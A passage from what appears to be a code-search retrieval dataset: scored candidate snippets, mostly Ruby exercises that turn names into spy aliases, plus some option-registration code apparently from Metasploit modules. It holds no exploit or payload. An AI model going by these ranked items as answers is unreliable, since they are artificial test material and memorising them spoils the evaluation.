array into one string, splits it into word array,\n# capitalizes each word, rejoins into string\n fake_name = fake_name_char_arr.join(\"\").split(\" \").map!{|name| name.capitalize}.join(\" \")\nend", "title": "" }, { "docid": "611e7bbc93a1bc5f3facba5692ac4042", "score": "0.6626523", "text": "def name_change(agent)\r\n\tcode_list = []\r\n\tname = agent\r\n\tcoded_name = name.split('')\r\n\r\n# After the user enters a name, the name will be split into separate letters, which will be placed in an array.\r\n\r\n\tcoded_name.map! { |code| code.next }\r\n\r\n# Each letter in the array will then be changed to the letter that follows it in the alphabet.\r\n\r\n\tcoded_name\r\n\tfalse_name = coded_name.join('')\r\n\r\n# Finally, the letters will be joined back into a new string. This string is the result of the original name being changed by this method.\r\n\r\n\tcode_list << false_name\r\n\r\n# The above line will store the changed names in an array, which was initialized at the beginning of the method.\r\n\r\nend", "title": "" }, { "docid": "415ef0d3b009b720ff73b302a6f3f770", "score": "0.66194546", "text": "def case_fix(name)\r\n fixed_name = name.split(' ')\r\n fixed_name.each do |word|\r\n word.capitalize!\r\n end\r\n fixed_name.join(' ')\r\nend", "title": "" }, { "docid": "1cec6f2710266e577b1f35a475c06fd1", "score": "0.661556", "text": "def name_swap(str)\n\tname_array = str.split(' ')\n\t\tname_array.reverse!\n\t\tname_array[0].insert(-1, \" \")\n\t\tname_array.join('').downcase!\nend", "title": "" }, { "docid": "28656a00db50f9516c22398d8aec10f6", "score": "0.6609049", "text": "def swap (secret_name)\r\n\tswapped_name = secret_name.split.reverse\r\n\tswapped_name.map(&:capitalize).join (\" \")\r\nend", "title": "" }, { "docid": "b97779ad8ae6e45caed0bbbe90e291db", "score": "0.6599521", "text": "def make_vowel_change(first)\n\tnew_first = first.split(\"\") \n\ti = 0\n\tfake_firstname = \"\"\n\tlengthfirst = first.length\n\twhile i < lengthfirst\n\tif new_first[i] == \"a\"\n\t\tfake_firstname += \"e\"\n\telsif new_first[i] == \"e\"\n\t\tfake_firstname += \"i\"\n\telsif new_first[i] == \"i\"\n\t\tfake_firstname += \"o\"\n\telsif new_first[i] == \"o\"\n\t\tfake_firstname += \"u\"\n\telsif new_first[i] == \"u\"\n\t\tfake_firstname == \"a\"\n\telsif (new_first[i] != \"a\" || new_first[i] !=\"e\" || new_first[i] != \"i\" || new_first[i] != \"o\" || new_first[i] != \"u\")\n\t\tfake_firstname += new_first[i]\n\tend\n\ti+=1 \n\tend \n\tfake_firstname\nend", "title": "" }, { "docid": "8830733155bbe6dccdb7db97940ef14e", "score": "0.659662", "text": "def spyname(real_name)\n spy_array = []\n split_name = real_name.reverse.split('')\n split_name.join.chars\n split_name.map! do|name|\n name.tr!(\"aeiouAEIUO\",\"eiouaEIOUA\")\n name.tr!(\"bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ\",\"cdfghjklmnpqrstvwxyzbCDFGHJKLMNPQRSTVWXYZB\")\n spy_array << name.to_str\nend\n p spy_array.join\nend", "title": "" }, { "docid": "d54f5728df60529f1e383c73391a792e", "score": "0.65945154", "text": "def next_letter(name)\r\n\t# Create master replacement list\r\n\t# We'll replace each letter with the next one in the list\r\n\t# Edge cases, upper case, etc. are handled within a single list\r\n\tswap_list = \"aeiouabcdfghjklmnpqrstvwxyzb\"\r\n\t# add upper case letters\r\n\tswap_list = swap_list + swap_list.upcase\r\n\t# divide name into array of characters\r\n\tletters = name.chars\r\n\t# swap each letter in array\r\n\tnew_letters = letters.map do |letter|\r\n\t\ti = swap_list.index(letter)\r\n\t\tif i\r\n\t\t\t# switch letter with next letter in list\r\n\t\t\tswap_list[i+1]\r\n\t\telse\r\n\t\t\t# keep as is\r\n\t\t\tletter\r\n\t\tend\r\n\tend\r\n\t# convert new array into string\r\n\tnew_name = new_letters.join\r\n\treturn new_name\r\nend", "title": "" }, { "docid": "13bd79d3de762f03c738c6e7f01b00c0", "score": "0.6582025", "text": "def initials(name)\n idx = 0\n new_str = ''\n\n loop do\n new_str << name.split[idx][0].upcase\n new_str << '.'\n idx += 1\n break if idx == name.split.length - 1\n end\n \n new_str << name.split[-1].capitalize\n\n new_str\nend", "title": "" }, { "docid": "3fa3742726861aa46ba24b5a330eaf27", "score": "0.65766096", "text": "def capitalize_name(name)\n name_array = name.split\n formatted_user_name = name_array.map(&:capitalize)\n formatted_user_name.join(' ')\nend", "title": "" }, { "docid": "840f1ec8b4f0c6238aeaa7dd9a7a053b", "score": "0.6567138", "text": "def vowels_consonant_movement2(name)\n name = name.downcase.split(\" \")\nfirst_name = name[0]\nsecond_name = name[1]\n consonants = \"bcdfghjklmnpqrstvwxyz\"\n vowels = \"aeiou\"\n translated_name = []\n translated_name2 = []\n\n#adjust first name \n x = 0 \n while x < first_name.length\n if first_name[x] == \"z\"\n first_name[x] = \"b\"\n translated_name << first_name[x]\n elsif\n first_name[x] == \"u\"\n first_name[x] = \"a\"\n translated_name << first_name[x]\n \n elsif consonants.include?first_name[x]\n \n new_position = consonants.index(first_name[x]) + 1 \n \n first_name[x] = consonants[new_position]\n translated_name << first_name[x]\n \n elsif vowels.include?first_name[x]\n newer_position = vowels.index(first_name[x]) + 1\n first_name[x] = vowels[newer_position]\n translated_name << first_name[x]\n \n end\n \n x += 1\n end\n \n#adjust second name \n x = 0 \n while x < second_name.length\n if second_name[x] == \"z\"\n second_name[x] = \"b\"\n translated_name2 << second_name[x]\n elsif\n second_name[x] == \"u\"\n second_name[x] = \"a\"\n translated_name2 << second_name[x]\n \n elsif consonants.include?second_name[x]\n \n new_position = consonants.index(second_name[x]) + 1 \n \n second_name[x] = consonants[new_position]\n translated_name2 << second_name[x]\n \n elsif vowels.include?second_name[x]\n newer_position = vowels.index(second_name[x]) + 1\n second_name[x] = vowels[newer_position]\n translated_name2 << second_name[x]\n \n end\n \n x += 1\n end\n \n first_letter = translated_name[0].upcase\n translated_name.delete_at(0)\n translated_name.insert(0, first_letter)\n \n first_letter2 = translated_name2[0].upcase\n translated_name2.delete_at(0)\n translated_name2.insert(0, first_letter2)\n \n return translated_name2.join(\"\") + \" \" + translated_name.join(\"\")\n \n \nend", "title": "" }, { "docid": "fb875d0d994307d408952dfc51cae07f", "score": "0.65554637", "text": "def downcase_camelcase_input(input)\n input.split(\" \").collect do |word|\n word.downcase.capitalize\n end.join(\" \")\n end", "title": "" }, { "docid": "1cfb9bbf609f4fb23c680804d73ec075", "score": "0.6550791", "text": "def name_encryption(full_name)\n\nfull_name = full_name.split(' ').rotate.join(' ')\n# .split(' ') splits full_name into array [\"first\", \"last\"]\n# .rotate rotates the first and last name within the array. (Ex. [\"last\", \"first\"])\n# .join(' ') combines array into a string. (Ex. \"last first\")\n\ncode_name = full_name.split('').map{ |x| x = next_letter(x)}\n# .split('') splits the string \"last first\" into individual characters.\n# .map{ |x| x = next_letter(x)} uses the next_letter method on each character and saves the changes.\n\ncode_name = code_name.join('')\n# .join('') combines individual characters into a\n\nend", "title": "" }, { "docid": "f9c484356295890702453b5cb34f0a2e", "score": "0.6546539", "text": "def fake_name(real_name)\n #call swap name to swap first and last names\n swapped_name = swap_name( real_name)\n last_name = swapped_name[0]\n first_name = swapped_name[1]\n\n #call encrypting method\n fake_last_name = encrypt_word(last_name)\n fake_first_name = encrypt_word(first_name)\n\n #concatenate name\n fake_last_name + \" \" + fake_first_name\nend", "title": "" }, { "docid": "96c77ea56248f4d0ede5ba1e50587c26", "score": "0.6531913", "text": "def vowel_converter(string)\r\n\tname_array = string.split('')\r\n vowel = ['a', 'e', 'i', 'o', 'u']\r\n counter = 0\r\n vowel_counter = 0\r\n# Outer loop that loops through entire name (first and last)\r\n while counter < name_array.length\r\n# Inner loop that loops through list of vowels, compares them with name, and changes vowels in name\r\n \twhile vowel_counter < vowel.length\r\n \t\tif name_array[counter] == vowel[vowel_counter]\r\n if name_array[counter] == 'u'\r\n \tname_array[counter] = 'a'\r\n break\r\n else\t\r\n \t\t name_array[counter] = vowel[vowel_counter + 1]\r\n \t\t break\r\n \t\t end\r\n \t end\r\n vowel_counter += 1\r\n end\r\n counter += 1\r\n vowel_counter = 0\r\n end \r\n return name_array\r\nend", "title": "" }, { "docid": "be188192cfec6f3d7e4bad99c8d5b7c6", "score": "0.652211", "text": "def letter_change(letter)\nvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\nconsonants = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z' ]\n if vowels.include?(letter) #conditional to check if the letter is in the vowels array above\n vowels.rotate[vowels.index(letter)] #within the vowels array.rotate over by one[the index of the letter in the vowels array]\n elsif consonants.include?(letter) #conditional to check if the letter is in the consonant array defined above\n consonants.rotate[consonants.index(letter)] #because this has met the above condition, we know that the char exists in the array. we are asking for the index of the letter in the consonants array and from there are rotate to the next by one. This movement is being saved into the new name_new array.\n elsif letter == \"z\" #edge case\n letter == \"b\"\n elsif letter == \"u\" #edge case\n letter == \"a\" \n elsif letter == \" \" #edge case\n letter = \" \" \n end\nend", "title": "" }, { "docid": "6894c79f32fb998b1a0870d2dd08f03f", "score": "0.6511715", "text": "def next_letter(reversed_name)\n vowels = 'aeioua'\n consonants = 'bcdfghjklmnpqrstvwxy'\n #reversed name to array\n reversed_name_array = reversed_name.split('')\n #check if letter is vowel if so make it next vowel\n #check if letter is consonant if so make it next consonant\n reversed_name_array.map! { |letter|\n if vowels.index(letter) != nil\n new_vowel = vowels.index(letter) + 1\n letter = vowels[new_vowel]\n elsif consonants.index(letter) != nil\n new_consonant = consonants.index(letter) + 1\n letter = consonants[new_consonant]\n else\n letter = letter\n end\n }\n reversed_name_array_joined = reversed_name_array.join\nend", "title": "" }, { "docid": "6edd6f2dcca60d68066dfde0bc7d6ae6", "score": "0.6508016", "text": "def capitalize!() end", "title": "" }, { "docid": "044c316a9cba1f602d1d9e9aab98b855", "score": "0.6506801", "text": "def alias_generator(name)\n\nname = name.downcase\n\nvowels_lowcase = %w(a e i o u)\nvowels = vowels_lowcase\nconsonants_lowcase = (\"a\"..\"z\").to_a - vowels\nconsonants = consonants_lowcase\n\n# original = (vowels + consonants)\n# new_letters = (vowels.rotate + consonants.rotate)\n\nname_array = name.split\nname_reverse = name_array.reverse\n\nname_reverse.map! do |word|\n word_split = word.split(\"\")\n # name_reverse[1].split(\"\")\n\n word_split.map! do |letter|\n if vowels.include? letter\n index = vowels.index(letter)\n if letter == vowels.last\n letter = vowels.first\n else\n letter = vowels[index + 1]\n end\n else\n index = consonants.index(letter)\n if letter == consonants.last\n letter = consonants.first\n else\n letter = consonants[index + 1]\n end\n end\n end\n\n word_split[0] = word_split[0].upcase\n word_split.join('')\nend\n\nname_reverse.join(' ')\n# # p name_reverse.tr(original,new_letters)\n\n\n\nend", "title": "" }, { "docid": "1cc0dbd05e701106d4a1c33e578e255d", "score": "0.64918315", "text": "def alias_creator(nickname)\nvowels=\"aeiou\"\nconsonants=\"bcdfghjklmnpqrstvwxyz\"\n#consonants exclude all vowels\n\nnickname_split=nickname.split(\"\")\nnew_nickname=[]\n#The translated nickname will be saved in the new_nickname arrawy\n\nnickname_split.map! do |x|\n\tif vowels.include?(x)\n\t\tnew_nickname << vowels[vowels.index(x)+1]\n\telsif consonants.include?(x)\n\t\tnew_nickname << consonants[consonants.index(x)+1]\n\telsif x == \" \"\n\t\tnew_nickname << \" \"\n\tend\nend\nnew_nickname.join(\"\").split.map {|x| x.capitalize}.join(\" \")\n#We are doing this so that we capitalize the first letter of both words\nend", "title": "" }, { "docid": "30fe60e91b5fc91e7dd1e21c26569b70", "score": "0.6483437", "text": "def aliasMaker(name)\r\n\tnewName = []\r\n\tnewName2 = []\r\n\tvowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\r\n\tconsonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\r\n\tstep1 = name.split(\" \")\r\n\ti = 0\r\n\tj = 0\r\n\r\n\twhile i <= step1.length\r\n\t\tnewName.push(step1[i])\r\n\t\ti += 1\r\n\tend\r\n\tnewName = newName.reverse\r\n\tnewName = newName.join(\" \")\r\n\tstep2 = newName\r\n\twhile j <= step2.length\r\n\t\tif isConsonant(step2[j]) == true\r\n\t\t\tnewName2.push(nextConsonant(step2[j]))\r\n\t\telsif isVowel(step2[j]) == true\r\n\t\t\tnewName2.push(nextVowel(step2[j]))\r\n\t\telse newName2.push(step2[j])\r\n\t\tend\r\n\t\tj += 1\r\n\tend\r\n\tanswer = newName2.join(\"\")\r\n\r\nend", "title": "" }, { "docid": "d89f17a4a6193eb3b48bca16707c4001", "score": "0.64824605", "text": "def alias_method\n name = \"\"\n name_2 = \"\"\n until name == \"quit\"\n puts \"what is your name? type quit to exit\"\n alias_name = {\n :name_1 => name_2\n }\n name = gets.chomp\n if name != \"quit\"\n alias_name[:name_1] = name\n name_2 = name.split(\" \").reverse.join(\" \").tr('aeiou', 'eioua').tr('bcdfghjklmnpqrstvwxyz', 'cdfghjklmnpqrstvwxyzb')\n break if name == \"quit\"\n end\n end\n alias_name.each do |name_1, name_2|\n p \"#{name_1} is actually #{name_2}!\"\n end\nend", "title": "" }, { "docid": "f74d6ee14f4af254c2ce1c2645189a4d", "score": "0.6479692", "text": "def format_name(str)\n norm_arr = []\n str_arr = str.split(\" \")\n\n str_arr.each do |word|\n word = word.downcase\n word[0] = word[0].upcase\n norm_arr << word\n end\n\n return norm_arr.join(\" \")\nend", "title": "" }, { "docid": "412197d94024ed4ed2109a49fefae1b8", "score": "0.64795524", "text": "def alias_creator(full_name)\n full_name = full_name.downcase\n name = full_name.split(' ').to_a\n first_name = name[0]\n last_name = name[1]\n first_name_letters = first_name.split('')\n last_name_letters = last_name.split('')\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\", \"a\"]\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\", \"b\"]\n \n first_name_letters.map! do |letter|\n if vowels.include?(letter)\n letter_index = vowels.index(letter)\n new_letter_index = letter_index + 1\n letter = vowels[new_letter_index]\n elsif consonants.include?(letter)\n letter_index = consonants.index(letter)\n new_letter_index = letter_index + 1\n letter = consonants[new_letter_index]\n end\n end\n new_first_name = first_name_letters.join('').capitalize\n \n last_name_letters.map! do |letter|\n if vowels.include?(letter)\n letter_index = vowels.index(letter)\n new_letter_index = letter_index + 1\n letter = vowels[new_letter_index]\n elsif consonants.include?(letter)\n letter_index = consonants.index(letter)\n new_letter_index = letter_index + 1\n letter = consonants[new_letter_index]\n end\n end\n new_last_name = last_name_letters.join('').capitalize\n\n new_name = new_last_name + \" \" + new_first_name\n return new_name\n \nend", "title": "" }, { "docid": "e96a11b399ada29ac09fbe9682d73b11", "score": "0.647544", "text": "def alias_method (name)\r\n\tnew_first = []\r\n\tnew_last = []\r\n\tvowels_string = \"aeiou\"\r\n\tvowels = vowels_string.split('')\r\n\tconsonants_string = \"bcdfghjklmnpqrstvwxyz\"\r\n\tconsonants = consonants_string.split('')\r\n\ttwo_names = name.split(' ')\r\n\tfirst_name = two_names[0].split('')\r\n\tlast_name = two_names[1].split('')\r\n\tlast_name.each do |character|\r\n\t\tcharacter = character.downcase\r\n\t\tif vowels.include?(character)\r\n\t\t\tindex = vowels.index(character)\r\n\t\t\tnew_last.push(vowels[index + 1])\r\n\t\tend\r\n\t\tif consonants.include?(character)\r\n\t\t\tindex = consonants.index(character)\r\n\t\t\tnew_last.push(consonants[index + 1])\r\n\t\tend\r\n\t\tif character.downcase == 'z'\r\n\t\t\tnew_last.push('b')\r\n\t\tend\r\n\t\tif character.downcase == 'u'\r\n\t\t\tnew_last.push('a')\r\n\t\tend\r\n\tend\r\n\tfirst_name.each do |character|\r\n\t\tcharacter = character.downcase\r\n\t\tif vowels.include?(character)\r\n\t\t\tindex = vowels.index(character)\r\n\t\t\tnew_first.push(vowels[index + 1])\r\n\t\tend\r\n\t\tif consonants.include?(character)\r\n\t\t\tindex = consonants.index(character)\r\n\t\t\tnew_first.push(consonants[index + 1])\r\n\t\tend\r\n\t\tif character.downcase == 'z'\r\n\t\t\tnew_first.push('b')\r\n\t\tend\r\n\t\tif character.downcase == 'u'\r\n\t\t\tnew_first.push('a')\r\n\t\tend\r\n\tend\r\n\tnew_last.push(' ')\r\n\tnew_last = new_last.join('').capitalize\r\n\tnew_first = new_first.join('').capitalize\r\n\treturn_val = new_last + new_first\r\n\treturn_val\r\nend", "title": "" }, { "docid": "850f940ad6618449590aefdd1389f6ea", "score": "0.647484", "text": "def capitalizer (string)\n new_name = string.downcase.split\n new_name.map! do | words |\n words.capitalize\n end\n new_name.join(' ')\nend", "title": "" } ]
d1e47f3bf260db7129563a563c3821e4
options: :backend :hostname :dryrun
[ { "docid": "0f3d1e97064f2b7c73e7857a5866b721", "score": "0.0", "text": "def remove_machine(opts = {})\n backend_name = opts.fetch(:backend, 'default')\n dryrun = opts.fetch(:dryrun, false)\n hostname = opts.fetch(:hostname)\n app_id = opts.fetch(:app_id)\n\n if app = Boxcutter::LoadBalancer::Application.find(app_id)\n\n app.services.each do |service|\n service.each_backend_named(backend_name) do |backend|\n backend.each_machine_named(hostname) do |machine|\n log \"Removing #{machine} from #{backend}\"\n\n unless dryrun\n response = machine.remove!\n log \"Response was: #{response.body}\"\n else\n log \"#{hostname} was not removed from the backend because --dryrun was specified\"\n end\n end\n end\n end\n else\n log \"Could not find application '#{app_id}'\"\n end\n end", "title": "" } ]
[ { "docid": "74e3561bfa5eb82903ae24ea4b61c82f", "score": "0.6204464", "text": "def host; @options[:hostname] end", "title": "" }, { "docid": "9fcc08ec654b61c1b78432be01134bd2", "score": "0.6162034", "text": "def backend; end", "title": "" }, { "docid": "9fcc08ec654b61c1b78432be01134bd2", "score": "0.61608016", "text": "def backend; end", "title": "" }, { "docid": "9fcc08ec654b61c1b78432be01134bd2", "score": "0.61608016", "text": "def backend; end", "title": "" }, { "docid": "f6b0df44968b5d674f9555ac0bf1d1cc", "score": "0.61502916", "text": "def setup_server(backend)\n backend.is_a?(Hash) ? server(:noname, backend)\n : server(backend, backends[backend])\n end", "title": "" }, { "docid": "d855ce197c7c5afb7b8acd4cce95ba0c", "score": "0.6121709", "text": "def host ; options[:host] || config.host ; end", "title": "" }, { "docid": "3f97e246bae1dd22eb28916f892dfc79", "score": "0.606558", "text": "def default_should_host; end", "title": "" }, { "docid": "b7a89cf0138a6aab5064a0bde1c8d48c", "score": "0.59962916", "text": "def dry_run?; options[:dry_run]; end", "title": "" }, { "docid": "084f4cbfe0611b92817611c7ae199d93", "score": "0.59436953", "text": "def full_host=(_arg0); end", "title": "" }, { "docid": "f37ee92da7172c43ed75fde85846d2af", "score": "0.58804595", "text": "def passthrough_options; end", "title": "" }, { "docid": "c0ed246ee795f97e259f6659799985b1", "score": "0.5788191", "text": "def backends; end", "title": "" }, { "docid": "1d2b4c9f5209547f606cfdbbf414412a", "score": "0.57533765", "text": "def process_proxy(proxy, app)\n proxy = proxy.to_s\n unless %w(pegasus dashboard).include? proxy\n raise ArgumentError.new(\"Invalid proxy: #{proxy}\")\n end\n hostname = proxy == 'pegasus' ? pegasus_hostname : dashboard_hostname\n out = \"set req.backend_hint = #{proxy}.backend();\"\n if proxy != app.to_s\n out << \"\\nset req.http.host = \\\"#{hostname}\\\";\"\n end\n out\nend", "title": "" }, { "docid": "34e128bfa644feaa013b5b3ba4f79c6f", "score": "0.57413346", "text": "def backends=(_arg0); end", "title": "" }, { "docid": "d4d16bc60298d0ef9b3d84ff9b99caa6", "score": "0.5703302", "text": "def dummy_perform\n puts \"###db_name=#{options['database_name'].inspect}\"\n puts \"###options=#{options['query_results'].inspect}\"\n sleep 30\n end", "title": "" }, { "docid": "c5e52aeba43be74167eeefe5c008b09d", "score": "0.56883824", "text": "def backend=(backend); end", "title": "" }, { "docid": "3e4e416bed3876fd0e8657acb6002af2", "score": "0.56634074", "text": "def bug_753_cmd(backend, config_file)\n [\n backend.binary_path.to_s,\n \"--config-file\",\n config_file.to_s,\n \"--verbose\",\n \"config\",\n \"dump\"\n ]\nend", "title": "" }, { "docid": "2dcfa447bc98e363bd1d4b9a6fd555a3", "score": "0.5645675", "text": "def detect_backend; end", "title": "" }, { "docid": "c314fab7c2461bfb0898fa6e23545438", "score": "0.56248516", "text": "def serverless; end", "title": "" }, { "docid": "fc2074105403bc679282e3154be1797d", "score": "0.5606303", "text": "def default_host; end", "title": "" }, { "docid": "fc2074105403bc679282e3154be1797d", "score": "0.5606303", "text": "def default_host; end", "title": "" }, { "docid": "fc2074105403bc679282e3154be1797d", "score": "0.5606303", "text": "def default_host; end", "title": "" }, { "docid": "c369cc3f3ae284ec8037a7bb7115628f", "score": "0.56039035", "text": "def oo_frontend_backup(args)\n raise \"HTTP.SYS can take care of proxying requests\"\n end", "title": "" }, { "docid": "1acd4427ecf6bd7658f072fdfcb9c53f", "score": "0.55997425", "text": "def run_options\n {\n :Port => config.server.port,\n :Host => config.server.host,\n :server => config.server.handler.to_sym,\n :daemonize => false,\n :quiet => false,\n :warn => true,\n :debug => false,\n }\n end", "title": "" }, { "docid": "a4672309b7194304446adae4246533bb", "score": "0.55951023", "text": "def host\n @options[:host]\n end", "title": "" }, { "docid": "ac89abb35d13f20839c506413a0bb73c", "score": "0.5583142", "text": "def dry_run; end", "title": "" }, { "docid": "1aa030ca05bd2c2813307193585a6523", "score": "0.5571129", "text": "def run(options); end", "title": "" }, { "docid": "61c6d701024028dadf8fae5da1a7cc86", "score": "0.5564378", "text": "def setup!\n @options = parse_options\n\n Gruf.server_binding_url = @options[:host] if @options[:host]\n if @options.suppress_default_interceptors?\n Gruf.interceptors.remove(Gruf::Interceptors::ActiveRecord::ConnectionReset)\n Gruf.interceptors.remove(Gruf::Interceptors::Instrumentation::OutputMetadataTimer)\n end\n Gruf.backtrace_on_error = true if @options.backtrace_on_error?\n Gruf.health_check_enabled = true if @options.health_check?\n end", "title": "" }, { "docid": "119b3e299cd0e47ec9f62b59dded60ee", "score": "0.5553622", "text": "def host!(_arg0); end", "title": "" }, { "docid": "1b332df71c97ef96eec7dce1f92ff274", "score": "0.55386484", "text": "def allow_localhost=(_arg0); end", "title": "" }, { "docid": "1b332df71c97ef96eec7dce1f92ff274", "score": "0.55386484", "text": "def allow_localhost=(_arg0); end", "title": "" }, { "docid": "051547e4949bd5197065247158158877", "score": "0.55261356", "text": "def cli_args\n args = [\"-backend=#{type}\"]\n config.each do |key, value|\n args << \"-backend-config=#{key}=#{value}\"\n end\n args\n end", "title": "" }, { "docid": "9f6cc5a733219915239f98f40dc7935b", "score": "0.552506", "text": "def _host; end", "title": "" }, { "docid": "f154b6021db7897700d899a546ba9f85", "score": "0.5497091", "text": "def setup(options)\n @host = options[:host]\n @port = options[:port] || 9091\n #@db = options[:db] || 1\n end", "title": "" }, { "docid": "a12a35f7be87778e1c126a9931886e32", "score": "0.5471112", "text": "def initialize(*args)\n super\n # Overload LHOST as a String value for the hostname\n register_options([ OptString.new(\"LHOST\", [true, \"The DNS hostname to connect back to\"]) ], self.class)\n end", "title": "" }, { "docid": "da5c94eb25a2fa1ca6ba0104ae2baf8e", "score": "0.5467399", "text": "def enable(backend = nil)\n if backend.nil?\n mybackends = backends.flatten\n else\n if has_backend?(backend)\n mybackends = [backend]\n else\n mybackends = []\n end\n end\n mybackends.each do |backen|\n @socket.execute \"enable server #{backen}/#{name}\", &@print_response\n end\n end", "title": "" }, { "docid": "1105f1cbcbcf22da6018bfdc72803499", "score": "0.5443784", "text": "def initialize(info = {})\n super\n\n deregister_options('RHOST')\n register_options(\n [\n Opt::RPORT(53),\n Opt::Proxies,\n OptString.new('DOMAIN', [ false, \"The target domain name\"]),\n OptString.new('NS', [ false, \"Specify the nameservers to use for queries, space separated\" ]),\n OptString.new('SEARCHLIST', [ false, \"DNS domain search list, comma separated\"]),\n OptInt.new('THREADS', [true, \"Number of threads to use in threaded queries\", 1])\n ], Exploit::Remote::DNS::Client\n )\n\n register_advanced_options(\n [\n OptString.new('DnsClientDefaultNS', [ false, \"Specify the default to use for queries, space separated\", '8.8.8.8 8.8.4.4' ]),\n OptInt.new('DnsClientRetry', [ false, \"Number of times to try to resolve a record if no response is received\", 2]),\n OptInt.new('DnsClientRetryInterval', [ false, \"Number of seconds to wait before doing a retry\", 2]),\n OptBool.new('DnsClientReportARecords', [false, \"Add hosts found via BRT and RVL to DB\", true]),\n OptBool.new('DnsClientRVLExistingOnly', [false, \"Only perform lookups on hosts in DB\", true]),\n OptBool.new('DnsClientTcpDns', [false, \"Run queries over TCP\", false]),\n OptPath.new('DnsClientResolvconf', [true, \"Resolvconf formatted configuration file to use for Resolver\", \"/dev/null\"])\n ], Exploit::Remote::DNS::Client\n )\n\n register_autofilter_ports([ 53 ]) if respond_to?(:register_autofilter_ports)\n register_autofilter_services(%W{ dns }) if respond_to?(:register_autofilter_services)\n end", "title": "" }, { "docid": "93da7714e0ae08f04bb6b40304865418", "score": "0.5434201", "text": "def host=(_arg0); end", "title": "" }, { "docid": "93da7714e0ae08f04bb6b40304865418", "score": "0.5434201", "text": "def host=(_arg0); end", "title": "" }, { "docid": "93da7714e0ae08f04bb6b40304865418", "score": "0.5434201", "text": "def host=(_arg0); end", "title": "" }, { "docid": "93da7714e0ae08f04bb6b40304865418", "score": "0.5434201", "text": "def host=(_arg0); end", "title": "" }, { "docid": "df031ffbe28ab0e4f3bd2b0318df46df", "score": "0.5425552", "text": "def ensure_tunnel(options={})\n\tend", "title": "" }, { "docid": "df031ffbe28ab0e4f3bd2b0318df46df", "score": "0.5425552", "text": "def ensure_tunnel(options={})\n\tend", "title": "" }, { "docid": "45def746bc0d0727eaead89ce7429332", "score": "0.54253495", "text": "def ignore_localhost=(value); end", "title": "" }, { "docid": "ed110d3b9020620ecf904a6c86a3277c", "score": "0.5414678", "text": "def should_skip?\n options.skip_display_server\n end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.5412427", "text": "def host; end", "title": "" }, { "docid": "d4e6c94db510f1ebd7c939df17e3029e", "score": "0.54122597", "text": "def report_host(opts)\n\t\treturn if not db\n\t\topts = {:workspace => myworkspace}.merge(opts)\n\t\tframework.db.report_host(opts)\n\tend", "title": "" }, { "docid": "f03ba3527ee35773d9e8846ab8d96bdc", "score": "0.54109514", "text": "def custom_options\n options = {\n :host => \"127.0.0.1\",\n :port => 12345,\n :locale => :fr,\n :display_end_map => false,\n :display_end_round => false,\n :display_kills => false,\n :display_actions => false,\n :display_changelevel => false,\n :display_chat => false,\n :display_team_chat => false,\n :display_connect => false,\n :display_disconnect => false,\n :displayer => RSpecDisplayer\n } \nend", "title": "" }, { "docid": "5df1633cf84977c75a6c25be7c3e6f01", "score": "0.5404683", "text": "def passthrough_options=(_arg0); end", "title": "" }, { "docid": "2681275cd1b580a5e8b4fc8a953daeb8", "score": "0.5403555", "text": "def setup opts\n end", "title": "" }, { "docid": "d0452fad5fb8aca5fb5aed0a5e085b3e", "score": "0.539342", "text": "def initialize(info = {})\n super\n\n register_options(\n [\n Opt::RHOST,\n Opt::RPORT(80),\n OptString.new('VHOST', [ false, \"HTTP server virtual host\" ]),\n OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false]),\n Opt::Proxies\n ], self.class\n )\n\n if framework.features.enabled?(\"RHOST_HTTP_URL\")\n register_options([Opt::RHOST_HTTP_URL])\n end\n\n register_advanced_options(\n [\n OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests',\n Rex::Proto::Http::Client::DefaultUserAgent\n ]),\n OptString.new('HttpUsername', [false, 'The HTTP username to specify for authentication', '']),\n OptString.new('HttpPassword', [false, 'The HTTP password to specify for authentication', '']),\n OptPath.new('HttpRawHeaders', [false, 'Path to ERB-templatized raw headers to append to existing headers']),\n OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),\n Opt::SSLVersion,\n 